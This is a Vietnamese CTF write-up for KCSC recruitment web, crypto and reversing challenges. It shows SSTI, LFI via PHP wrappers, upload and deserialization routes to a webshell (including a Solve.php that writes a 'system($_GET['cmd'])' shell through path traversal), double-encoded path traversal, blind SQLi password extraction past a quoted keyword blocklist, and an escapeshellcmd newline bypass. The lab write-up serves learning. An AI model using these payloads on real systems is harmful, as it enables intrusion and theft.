# KCSC Recruitment ### WarmupPHP01 Trang web mở đầu nhận params là ```name``` nên em đoán ngay đây có thể dính lỗ hổng SSTI ![image](https://hackmd.io/_uploads/ryz9JAsLT.png) Vì chal này dùng PHP nên em đoán là có thể dùng các template như Smarty hoặc là Twig. Sau khi fuzzing thì nó web đang sử dụng template engine là Smarty 4.3.4 ![image](https://hackmd.io/_uploads/S1f_xCoU6.png) Check thử payload để có thể thực thi SSTI thì có vẻ là đã bị filter ![image](https://hackmd.io/_uploads/ByZWZRoLa.png) Em bắt đầu thử fuzzing các endpoint bằng feroxbuster thì tìm thấy một endpoint giống như là ```?source``` ![image](https://hackmd.io/_uploads/r1llXAjLp.png) Và dùng burpsuite để thử xem endpoint này ![image](https://hackmd.io/_uploads/BydAmRsUp.png) Có vẻ flag nằm trong FLAG1 bây giờ chỉ cần gán ```name={FLAG1}``` để lấy flag ![image](https://hackmd.io/_uploads/SJHzd0iLp.png) ##### Flag: KCSC{warmup01_begin_using_smarty} ### Mi Tom Thanh Long ![image](https://hackmd.io/_uploads/ryDbcCoIT.png) Thử các endpoint của trang web thì em nghĩ tới việc nó sử dụng ```include```. Bắt đầu thử test thì có vẻ đúng như vậy, vậy rõ ràng lúc này ta có thể sử dụng được file inclusion ở đây ![image](https://hackmd.io/_uploads/SJkt5RjU6.png) Flag có vẻ nằm ở ```/pages/flag.php``` tuy nhiên để đọc được thì em sử dụng PHP Wrappers within LFI to Obtain PHP Script Source Code: https://infinitelogins.com/2020/04/25/lfi-php-wrappers-to-obtain-source-code/) ![image](https://hackmd.io/_uploads/SJJJ2Ci8a.png) Bây giờ Base64 Decode và Flag nằm ở Comments ![image](https://hackmd.io/_uploads/Byufh0jIT.png) ##### Flag: $flag = KCSC{Lan_Dau_Tien_Trai_Thanh_Long_Co_Trong_KCSC:))} ### Apply to KCSC ![image](https://hackmd.io/_uploads/S15C3RoUa.png) Trang web có chức năng upload file nên có khả năng ta có thể sử dụng file upload để upload webshell nhằn thực thi Remote Code Execution ![image](https://hackmd.io/_uploads/r19NC0o8a.png) Tuy nhiên có vẻ chỉ có file PDF mới có thể upload lên được để bypass qua ta chỉ cần thay đổi ```Content-Type``` sang ```application/pdf``` ![image](https://hackmd.io/_uploads/HJd60AsLp.png) ![image](https://hackmd.io/_uploads/Hyti0CjIa.png) Bây giờ chỉ cần đọc file và thực thi RCE ![image](https://hackmd.io/_uploads/SkpGkk3Up.png) Flag nằm ở ```/flag``` ![image](https://hackmd.io/_uploads/rk9EyynUT.png) ##### Flag: KCSC{W3lc0m3_T0_KCSC_2023____} ### Pokémon Hof Panel 1 ![image](https://hackmd.io/_uploads/rJe9EgJ3L6.png) Đọc trong source code thì em thấy một số điểm đáng chú ý ``` <?php include("./classes/trainer.php"); if ($_SERVER["REQUEST_METHOD"] == "POST") { if (isset($_POST["name"])) { $name = $_POST["name"]; $starter = $_POST["starter"]; $user = new Trainer($name, $starter); $serializedUser = serialize($user); $base64Encoded = base64_encode($serializedUser); setcookie("trainer_data", $base64Encoded, time() + 3600); header("Location: ./champ.php"); } } ``` Có vẻ nó sẽ nhận 2 params là name và starter sau đó truyền khởi tạo đối tượng Trainer ở trainer.php ``` <?php class Trainer { public $name; public $starter; public $isChampion; public function __construct($name, $starter) { $this->name = $name; $this->starter = $starter; $this->isChampion = false; } public function getname() { return $this->name; } public function getChampion() { return $this->isChampion; } public function setname($name) { $this->name = $name; } } ?> ``` Có vẻ nó liên quan tới lỗ hổng ```Insecure Deserialization```: https://nhattruong.blog/2022/11/18/php-object-injection-a-k-a-php-insecure-deserialization/ Ở PHP lổ hổng deserialization còn được gọi là PHP object injection: *Lỗ hổng PHP Object Injection là một lỗ hổng cấp ứng dụng có thể cho phép kẻ tấn công thực hiện các loại tấn công độc hại khác nhau, như Code Injection, SQL Injection, Path Traversal and Application Denial of Service. Lỗ hổng xảy ra khi đầu vào được người dùng cung cấp không được santize một cách đúng đắn trước khi được chuyển đến hàm unserialize() trong PHP. Vì PHP cho phép tuần tự hóa đối tượng, kẻ tấn công có thể truyền các chuỗi tuần tự hóa tùy chỉnh đến lời gọi unserialize() có lỗ hổng,dẫn tới việc arbitrary PHP object(s) injection into the application scope.* ``` <?php include("./classes/trainer.php"); include("./classes/utils.php"); function isChampion($user) { return $user->getChampion(); } if (isset($_COOKIE["trainer_data"])) { $base64Encoded = $_COOKIE["trainer_data"]; $serializedUser = base64_decode($base64Encoded); $user = unserialize($serializedUser); if (isChampion($user)) { $title = "Champion Pannel"; $msg = "Hello, " . $user->getname() . " KCSC{level1_fakeflag}";` } else { $title = "Trainer Pannel"; $msg = "Access denied. You are not a champion."; } } else { $title = "Something's wrong!!!"; $msg = "No trainer data found. Please choose your starter."; } ?> ``` Để đọc được flag thì sau khi unserialize thì ```isChapion($user)``` phải trả về giá trị ```True```. Em thử tryền thử ```name``` và ```starter``` để xem chuỗi sau khi serialize được xử lý như thế nào ![image](https://hackmd.io/_uploads/SyIb4y2Lp.png) Sau khi decode ta nhận được chuỗi ``` O:7:"Trainer":3:{s:4:"name";s:4:"test";s:7:"starter";s:4:"test";s:10:"isChampion";b:0;}``` Theo đó ta cần chuyển ```isChampion`` thành ``True``` vậy đơn giản chỉ cần đổi ```0``` thành ```1``` sau đó encode và set Cookie lại và truyền tới ```/champ.php``` để có thê get flag: ``` if (isChampion($user)) { $title = "Champion Pannel"; $msg = "Hello, " . $user->getname() . " KCSC{level1_fakeflag}"; ``` ![image](https://hackmd.io/_uploads/ByeJSyhUa.png) Set lại giá trị ```trainer_data``` và chúng ta có được flag: ![image](https://hackmd.io/_uploads/S1KCSJ2Ip.png) ##### Flag: KCSC{n0w_y0u_kn0w_s3r1al1z3_f0m4rt} ### Pokémon Hof Panel 2 Tiếp tục với đoạn source code tác giả đã cung cấp, như đã đề cập việc Deserialize mà không được satinize có thể dẫn đến các lỗ hổng như Code Injection, SQLi Trong PHP, người lập trình có thể định nghĩa một hàm được gọi tự động. Các hàm như vậy không cần một hàm khác gọi để thực thi. Với tính năng này, có một vài hàm trong PHP được gọi là “magic functions” hay “magic methods”, những hàm đó được tự động gọi trong một số ngữ cảnh khác nhau và dấu hiệu nhận biết là tên của các function này có hai dấu gạch dưới đứng trước. Chúng được khai báo ngay từ đầu và không thể được tạo lại hoặc bị xoá. Một vài hàm điển hình như sau: __construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __serialize(), __unserialize(), __toString(), __invoke(), __set_state(), __clone(), and __debugInfo(). Em chú ý đến ```Utils.php```: ``` <?php class Utils { private $error; private $logfile; function __construct() { $this->logfile = "_error.log"; } public function __toString() { $this->writelog(); return "Error: " . $this->error; } public function writelog() { file_put_contents("/tmp/logs/".date('H_i_s').$this->logfile, $this->error); } } ?> ``` Phân tích thử thì em rút ra được một số kết luận sau: - __construct(): Phương thức khởi tạo của lớp, được gọi khi một đối tượng mới của lớp Utils được tạo. Trong đoạn code, nó đặt giá trị mặc định "_error.log" cho thuộc tính $logfile. - __toString(): Phương thức này được gọi khi đối tượng của lớp được sử dụng như một chuỗi (ví dụ: khi được sử dụng trong hàm echo). Phương thức này ghi log lỗi và trả về chuỗi "Error: " cộng với giá trị của thuộc tính $error. - writelog(): Phương thức này dùng để ghi log lỗi vào tệp tin. Nó sử dụng file_put_contents để ghi dữ liệu lỗi (biến $error) vào một tệp tin trong thư mục /tmp/logs/, với tên tệp được tạo dựa trên thời gian hiện tại và tên file log đã được đặt từ thuộc tính $logfile. Ý tưởng của em là tận dụng việc nó sử dụng ghi $logfile ta có thể sử dụng việc path traveral sau đó để có thể lưu một đoạn webshell lên server để từ đó ta có thể thực hiện việc Command Injection như đã đề cập ở trên. Lúc này ta có thể sử dụng PHP Pop Chain ![image](https://hackmd.io/_uploads/S1u9KJ2Ua.png) POP chain hoạt động bằng cách xâu chuỗi các gadget lại với nhau để có thể đạt được mục tiêu. Magic methods là gadget đầu tiên, nó có thể call tới các method khác (gadgets) và giúp ta kiểm soát tất cả các thuộc tính. ##### Solve.php ``` <?php class Trainer { public $name; public $starter; public $isChampion; public function __construct($name, $starter) { $this->name = $name; $this->starter = $starter; $this->isChampion = true; } public function getname() { return $this->name; } public function getChampion() { return $this->isChampion; } public function setname($name) { $this->name = $name; } } class Utils{ public $logfile = "../../../../../var/www/html/solve.php"; public $error = "<?php system(\$_GET['cmd']); ?>"; } $haha = new Trainer("l1nx1n", "l1nx1n"); $hihi=new Utils(); $haha->setname($hihi); echo base64_encode(serialize($haha)); ?> ``` ![image](https://hackmd.io/_uploads/Sy-JHl2Ia.png) Bây giờ tiếp tục change cookie ```trainer_data``` tại endpoint ```/champ.php``` ![image](https://hackmd.io/_uploads/HkjzSxh8T.png) We done !!! ![image](https://hackmd.io/_uploads/HkBESx28T.png) Bây giờ chỉ cần call đến file solve.php để trigger command injection ![image](https://hackmd.io/_uploads/SyJPSe2Ip.png) Flag nằm ở ```/8051757494_flag_5519766868.txt ``` ![image](https://hackmd.io/_uploads/HyaFHe2Ip.png) ##### Flag: KCSC{w3lc0me_t0_h4ll_0f_f4m3} ### save_the_world ``` import config from middleware import PathTraversalMiddleware app = Flask(__name__,template_folder="templates") app.wsgi_app = PathTraversalMiddleware(app.wsgi_app) @app.route('/') def hello_world(): return render_template('index.html') @app.route('/upload', methods=['POST','GET']) def handleUpload(): if request.method == 'POST': if 'file' not in request.files: return 'No file part' file = request.files['file'] if file.filename == '': return 'No selected file' extension = file.filename.split('.')[-1] if extension not in config.ALLOW_EXTENSION: return 'Invalid file extension' new_name = '%s.%s' % (secrets.token_hex(16), extension) if file: file.save('%s/%s' % (config.UPLOAD_FOLDER,new_name)) return render_template('upload.html', success_message='File uploaded successfully: %s' % new_name) else: return render_template('upload.html') @app.route('/viewfile/<filepath>') def handleFile(filepath): target_file = os.path.abspath('%s/%s' % (config.UPLOAD_FOLDER,unquote(filepath))) if os.path.isfile(target_file): return send_file(target_file) else: return '', 404 if __name__ == '__main__': app.run(host="0.0.0.0",port=5000) ``` - ```'/': ``` Endpoint này chỉ đơn giản trả về trang chủ hoặc trang HTML có tên là index.html. - ```'/upload':``` Endpoint này xử lý yêu cầu POST và GET. Nếu nhận yêu cầu POST với tệp tin, nó sẽ kiểm tra xem tệp tin có phải là một phần của yêu cầu không, sau đó lưu trữ tệp tin vào thư mục config.UPLOAD_FOLDER nếu tệp tin có phần mở rộng hợp lệ. Nếu yêu cầu là GET, nó sẽ trả về trang HTML cho phép người dùng tải lên tệp tin. - ```'/viewfile/<filepath>'```: Endpoint này nhận một đường dẫn tệp tin (<filepath>) như một tham số đầu vào. Sau đó, nó xác định đường dẫn tệp tin trong thư mục config.UPLOAD_FOLDER và nếu tệp tin tồn tại, nó trả về tệp tin đó để người dùng tải xuống bằng cách sử dụng send_file. Nếu không, nó trả về mã trạng thái lỗi 404 (không tìm thấy). Ban đầu em đoán là liệu có thể overide file ```__init__.py``` để có thể tiếp tục thực hiện command injection: https://ajinabraham.com/blog/exploiting-insecure-file-extraction-in-python-for-code-execution tuy nhiên sau khi được anh @chanze gợi ý là hướng đó sai nên là em chú ý đến ```<filepath>```, câu hỏi là liệu ta có thể thực thi path traversal ở đây không ![image](https://hackmd.io/_uploads/Bytrqgh8T.png) Tuy nhiên có vẻ nó bị filters ``` class PathTraversalMiddleware: def __init__(self, app): self.app = app def __call__(self, environ, start_response): # Extract the path from the request path = environ.get('PATH_INFO', '') # Check if the path contains ".." if ".." in path: # Block the request if it contains ".." return self.block_request(start_response) # If the path is safe, proceed with the request return self.app(environ, start_response) def block_request(self, start_response): # Return a 403 Forbidden response start_response('403 Forbidden', [('Content-Type', 'text/plain')]) return [b'Forbidden: Path traversal not allowed.'] ``` Vậy đơn giản ta chỉ cần dùng urlencode là có thể bypass qua filter này ``` if ".." in path: # Block the request if it contains ".." return self.block_request(start_response) ``` ![image](https://hackmd.io/_uploads/SJA4oehUT.png) Tuy nhiên có vẫn chưa bypass qua được. Em chú ý đến hàm ```unquote()``` ở đoạn code này ``` target_file = os.path.abspath('%s/%s' % (config.UPLOAD_FOLDER,unquote(filepath)))``` Hàm unquote trên được sử dụng để giải mã một chuỗi đã được mã hóa URL trước khi nó được sử dụng trong hàm os.path.abspath để tạo ra một đường dẫn tệp tin tuyệt đối. Như vậy để có thể bypass nó và cả filter phía trên ta có thể sử dụng ```doubleurlencode``` ![image](https://hackmd.io/_uploads/S1M1pgnIp.png) Bypass thành công !!! Câu hỏi bây giờ là flag nằm ở đâu em chú ý đến file ```docker-compose.yml```: ``` version: '3' services: web: build: . environment: - FLAG=KCSC{REDACTED} ports: - "5000:5000" restart: unless-stopped ``` Có vẻ flag được set ở file .env để đọc được nó thì em tham khảo thông qua https://book.hacktricks.xyz/pentesting-web/file-inclusion ![image](https://hackmd.io/_uploads/HkyGRghLa.png) Và chúng ta đã có được flag ![image](https://hackmd.io/_uploads/ByKHAghIa.png) ##### Flag: KCSC{s1mple_p4th_tr4v3rsal_4nd_read_3nv} ### Kpop ![image](https://hackmd.io/_uploads/HysM7VhUp.png) Trang web cung cấp cho ta hai endpoint là ```login.php``` và ```register.php``` Sau khi register và login ta được redirect tới ```index.php``` ![image](https://hackmd.io/_uploads/ByM1V4nLa.png) Bắt đầu phân tích source code em chú ý đến ```history.php``` ``` <?php if (isset($_REQUEST['view_by_logcode']) && isset($_POST['logcode'])) { $view = 1; } $query = "SELECT * FROM logs WHERE "; if (@$view) { $query .= "logcode = ?"; $paramValue = $_REQUEST['logcode']; } else { $query .= "username = ?"; $paramValue = $_SESSION['username']; } $stmt = $conn->prepare($query); $stmt->bind_param("s", $paramValue); $stmt->execute(); $result = $stmt->get_result(); if ($result->num_rows > 0) { echo "<table><tr><th>LogCode</th><th>Username</th></tr>"; while ($row = $result->fetch_assoc()) { echo "<tr><td>" . $row["logcode"] . "</td><td>" . $row["username"] . "</td></tr>"; } echo "</table>"; } else { echo "<p>0 log found</p>"; } ?> <div class="bottom-buttons"> <?php if ($_SESSION['username'] == 'aespa') echo "<button onclick=\"goTo('/admin.php')\">Admin</button>\n" ?> <button onclick="goTo('/history.php')">History</button> <button onclick="goTo('/index.php')">Home</button> <button onclick="goTo('/logout.php')">Logout</button> </div> ``` Có vẻ để có thể đăng nhập với role ```admin``` thì ta phải biết được passwords của username ```aespa```, vậy có thể là phải thực hiện Blind SQL Injection, em chú ý đến đoạn truyền logcode ``` $query = "SELECT * FROM logs WHERE "; if (@$view) { $query .= "logcode = ?"; $paramValue = $_REQUEST['logcode']; } else { $query .= "username = ?"; $paramValue = $_SESSION['username']; } ``` Có vẻ ta có thể ta có thể thực hiện SQLi qua thông qua việc truyền ```logcode``` ở ```login.php```: ``` if ($_SERVER['REQUEST_METHOD'] == "POST") { if (isset($_POST['username']) && isset($_POST['password'])) { $username = $_POST['username']; $password = $_POST['password']; $logcode = isset($_POST['logcode']) ? $_POST['logcode'] : genLogCode(); //Check credentials try { $query = "SELECT * FROM users WHERE username=? and password =?"; $stmt = $conn->prepare($query); $stmt->bind_param("ss", $username, $password); $stmt->execute(); } catch (Exception $e) { die("Error"); } ``` Tuy nhiên có vẻ tác giả có vẻ truyền thêm một đoạn black list nữa ``` <?php function containsDangerousCharacters($inputString) { $specialCharacters = array("`", "\"", "'", "-", "#","flag","sleep","benchmark"); foreach ($specialCharacters as $char) { if (strpos($inputString, $char) !== false) { return true; } } return false; } foreach ($_POST as $i) { if (containsDangerousCharacters(strtolower((string)$i))) { http_response_code(403); die("Dangerous Character"); } } ``` Áp dụng việc SQLi bypass WAF ở blog này :https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF Ta có thể dễ dàng bypass và thực thi SQLi ![image](https://hackmd.io/_uploads/H1edIP38a.png) ![image](https://hackmd.io/_uploads/SJx8Uv386.png) Check ở file docker ta nhận thấy server sử dụng ```mysql:8.0```. Bây giờ công việc của ta là thực hiện blind sql injection nhằm trigger các table name của table user. Tuy nhiên vấn đề ở đây là logcode chỉ có thể truyền được kiểu int, lúc này ta có thể sử dụng ```ord()``` và ```substring()``` để bypass ![image](https://hackmd.io/_uploads/H1TnsvhLa.png) Ta truyền vào đoạn sql check độ dài length ```(select+length(password)+from+users+limit+1,1)``` Sau khi tiến hành check length của password và khi check đến hàng thứ 1,2,3 độ dài length đều trả về giá trị là 28 tuy nhiên khi check tới hàng thứ 4 thì length trả về là 110 ![image](https://hackmd.io/_uploads/Bkg6Zu3IT.png) ![image](https://hackmd.io/_uploads/Bk1nzu3IT.png) Vậy khả năng đây chính là password của admin ![image](https://hackmd.io/_uploads/ByqXXdhLT.png) ![image](https://hackmd.io/_uploads/ryRNXOn8a.png) Bây ta tiến hành extract các kí tự của password : ``` (select+ord(substring((select+password+from+users+limit+4,1),1,1))) ``` ![image](https://hackmd.io/_uploads/H1keS_38T.png) ![image](https://hackmd.io/_uploads/H1nxrdh8a.png) Tới đây ta có thể sử dụng Intruder để dump các kí tự còn lại sau đó in ra password ![image](https://hackmd.io/_uploads/B1YXwu2Up.png) Sau khi dump xong ta được các giá trị hex như sau: ```104, 116, 116, 112, 115, 58, 47, 47, 121, 111, 117, 116, 117, 46, 98, 101, 47, 90, 101, 101, 114, 114, 110, 117, 76, 105, 53, 69, 38, 83, 97, 109, 112, 108, 101, 84, 101, 120, 116, 84, 104, 97, 116, 77, 97, 107, 101, 89, 111, 117, 78, 101, 101, 100, 84, 111, 85, 115, 105, 110, 103, 88, 88, 88, 88, 88, 88, 84, 111, 71, 101, 116, 70, 117, 108, 108, 80, 97, 115, 115, 119, 111, 114, 100, 65, 110, 100, 77, 97, 107, 101, 89, 111, 117, 85, 115, 101, 73, 116, 84, 104, 114, 51, 101, 84, 49, 109, 51, 115, 53``` Sau khi thực hiện decode ta thu được password ``` arr = [104, 116, 116, 112, 115, 58, 47, 47, 121, 111, 117, 116, 117, 46, 98, 101, 47, 90, 101, 101, 114, 114, 110, 117, 76, 105, 53, 69, 38, 83, 97, 109, 112, 108, 101, 84, 101, 120, 116, 84, 104, 97, 116, 77, 97, 107, 101, 89, 111, 117, 78, 101, 101, 100, 84, 111, 85, 115, 105, 110, 103, 88, 88, 88, 88, 88, 88, 84, 111, 71, 101, 116, 70, 117, 108, 108, 80, 97, 115, 115, 119, 111, 114, 100, 65, 110, 100, 77, 97, 107, 101, 89, 111, 117, 85, 115, 101, 73, 116, 84, 104, 114, 51, 101, 84, 49, 109, 51, 115, 53] password = "" for i in range(len(arr)): password += chr(arr[i]) print(password) # password : https://youtu.be/ZeerrnuLi5E&SampleTextThatMakeYouNeedToUsingXXXXXXToGetFullPasswordAndMakeYouUseItThr3eT1m3s5 ``` Vậy là ta đã có được username và password của admin ta tiến hành login ![image](https://hackmd.io/_uploads/Hyr0qOnLp.png) Chúng ta đã có role là admin. Em tiếp tục chú ý đến ```admin.php``` ``` <?php if ($_SERVER['REQUEST_METHOD'] == "POST") { $command = isset($_POST['cmd']) ? escapeshellcmd($_POST['cmd']) : "/hint_to_get_flag.txt"; system("cat " . $command); } ``` Có vẻ ở đây sẽ thực hiện lệnh ```cat``` tuy nhiên ta phải bypass qua ```escapeshellcmd```. ``` escapeshellcmd() escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands. This function should be used to make sure that any data coming from user input is escaped before this data is passed to the exec() or system() functions, or to the backtick operator. ``` Sau khi đọc vài blog về cách bypass ```escapeshellcmd``` em tìm thấy blog này https://github.com/kacperszurek/exploits/blob/master/GitList/exploit-bypass-php-escapeshellarg-escapeshellcmd.md Theo đó ta có thể dễ dang bypass qua ```escapeshellcmd``` bằng CRLF ```%0a```: ![image](https://hackmd.io/_uploads/Hk9lpu2Ip.png) And we have the flag !!! ##### Flag: KCSC{multi_ins3rt_4nd_byp4ss_tr1cky_filter} ### Ez_Ceasar ``` import string alphabet = string.ascii_letters + string.digits + "!{_}?" ct = 'ldtdMdEQ8F7NC8Nd1F88CSF1NF3TNdBB1O' def solve(key): pt = "" for i in ct: idx = alphabet.index(i) pt += alphabet[(idx - key) % len(alphabet)] return pt for key in range(0, 1000): print(solve(key)) ### Flag is KCSC{C3as4r_1s_Cl4ss1c4l_4nd_C00l} ``` ### Real Warmup Thực hiện download file chall.exe sau đó sử dụng ```strings chall.exe``` thì em thấy một đoạn base64 có vẻ là flag ![image](https://hackmd.io/_uploads/ryI7yF3Ip.png) ![image](https://hackmd.io/_uploads/H1UA1FhL6.png) Và ta có flag ### hide and seek Tiếp tục down về và chạy ```strings dropFile.exe``` ![image](https://hackmd.io/_uploads/BJTweY38a.png) ``` function showFlag(){var flagArray=[30,22,6,22,46,43,125,11,123,10,123,124,104,11,123,10,123,11,104,125,123,10,123,11,124,43,40];var flag='';for(var i=0;i<flagArray.length;i++){flag+=String.fromCharCode(flagArray[i]^0x55);}alert(flag);} ``` Có một đoạn code javascript có sẽ in ra flag bằng cách xor mảng trên với ```0x55``` Chuyển đoạn code này sang python và ta có flag ``` def show_flag(): flag_array = [30, 22, 6, 22, 46, 43, 125, 11, 123, 10, 123, 124, 104, 11, 123, 10, 123, 11, 104, 125, 123, 10, 123, 11, 124, 43, 40] flag = '' for num in flag_array: flag += chr(num ^ 0x55) print(flag) # Gọi hàm để hiển thị flag show_flag() ### Flag is KCSC{~(^._.)=^._.^=(._.^)~} ``` ### A gift for pwners Tiếp tục check ```strings``` và ta có flag là ```KCSC{A_gift_for_the_pwners_0xdeadbeef}```